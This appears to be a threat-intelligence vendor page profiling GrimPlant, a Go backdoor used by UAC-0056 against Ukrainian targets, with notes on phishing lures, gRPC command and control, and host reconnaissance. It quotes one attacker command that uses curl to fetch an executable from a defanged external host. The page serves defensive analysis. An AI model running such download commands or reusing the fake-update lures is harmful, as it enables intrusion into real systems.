Loading malware…
GrimPlant is a Go-based Windows backdoor associated with the UAC-0056 intrusion cluster, also tracked as SaintBear, UNC2589, TA471, and Lorec53. It has been used in cyberespionage operations targeting Ukrainian organizations during 2022, including campaigns against government and other entities amid the broader conflict environment. GrimPlant commonly appeared alongside the related GraphSteel malware and, in some campaigns, alongside Cobalt Strike Beacon as part of a multi-stage infection chain.
Observed delivery has relied on spearphishing and phishing lures impersonating Ukrainian government bodies. Document-based lures included macro-enabled Excel attachments themed around wage arrears, while other campaigns used fake security or antivirus update themes delivered through attacker-controlled download pages. Infection chains used intermediate Go-based droppers and downloaders that retrieved GrimPlant as a later-stage payload and established persistence through Windows autorun mechanisms.
GrimPlant’s primary function is remote access and command execution. It collects basic host information such as IP address, hostname, operating system, username, and home directory, then communicates with command-and-control infrastructure using gRPC over HTTP/2 with TLS/SSL. The malware can execute remotely supplied commands, including arbitrary PowerShell scripts, and return execution results to the operator. Reporting also notes anti-analysis and defense-evasion measures in the broader Elephant framework that deploys GrimPlant, including packed executables and anti-emulation behavior. GrimPlant has been assessed as one of the principal payloads in UAC-0056 espionage activity against Ukrainian targets.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Elephant Implant, also tracked as GrimPlant backdoor, seems to be one of the most important payloads in this attack, the researchers say.
23 distinct techniques documented for this family, organized by ATT&CK tactic.
The emails were themed as “critical security updates” and contained links to download a fake AV update package.
The phishing emails impersonate Ukrainian government agencies offering ways to increase network security and advise recipients to download "critical security updates," which come in the form of a 60 MB file named "BitdefenderWindowsUpdatePackage.exe."
The capabilities of the two tools cover network reconnaissance, command execution, and file operations... Execute commands... Execute commands received remotely and return results to C2
C:\Windows\System32\cmd.exe /C cd %USERPROFILE%\AppData\Local\Temp\ & curl -O hxxps://forkscenter[.]fr/Sdghrt_umrj6/wisw.exe
EXE-файли (завантажувачі з Discord) захищено протектором Themida ... завантаження, base64-декодування
gets the IP address of the machine by making a request to https://api.ipify.org/
GraphSteel features: Gather hostname, username, and IP address information... GrimPlant capabilities: Gather IP address, hostname, OS, username, home dir
The capabilities of the two tools cover network reconnaissance
GrimPlant capabilities: Gather IP address, hostname, OS, username, home dir
The implant makes use of gRPC to communicate with the C2, it has a TLS certificate embedded in the binary
GrimPlant ... В якості протоколу використовується gRPC (Protocol Buffers + HTTP/2 + SSL)
38 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Backdoor implant that communicates with C2 over gRPC with embedded TLS, derives a unique machine ID, gathers host and user information, and supports encrypted command-and-control communications.
Go-based backdoor/implant component of Elephant enabling remote command execution via PowerShell. Uses gRPC over TLS with an embedded root CA for server verification and certificate rotation; C2 address provided via encrypted command-line argument; periodic heartbeat and command polling; includes anti-emulation (sleep + 200MB allocation).
A named malware tool associated with UAC-0056 in attacks on Ukrainian infrastructure.
Go-based backdoor used in the campaign for reconnaissance and remote command execution, communicating with C2 over gRPC using HTTP/2 and SSL.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.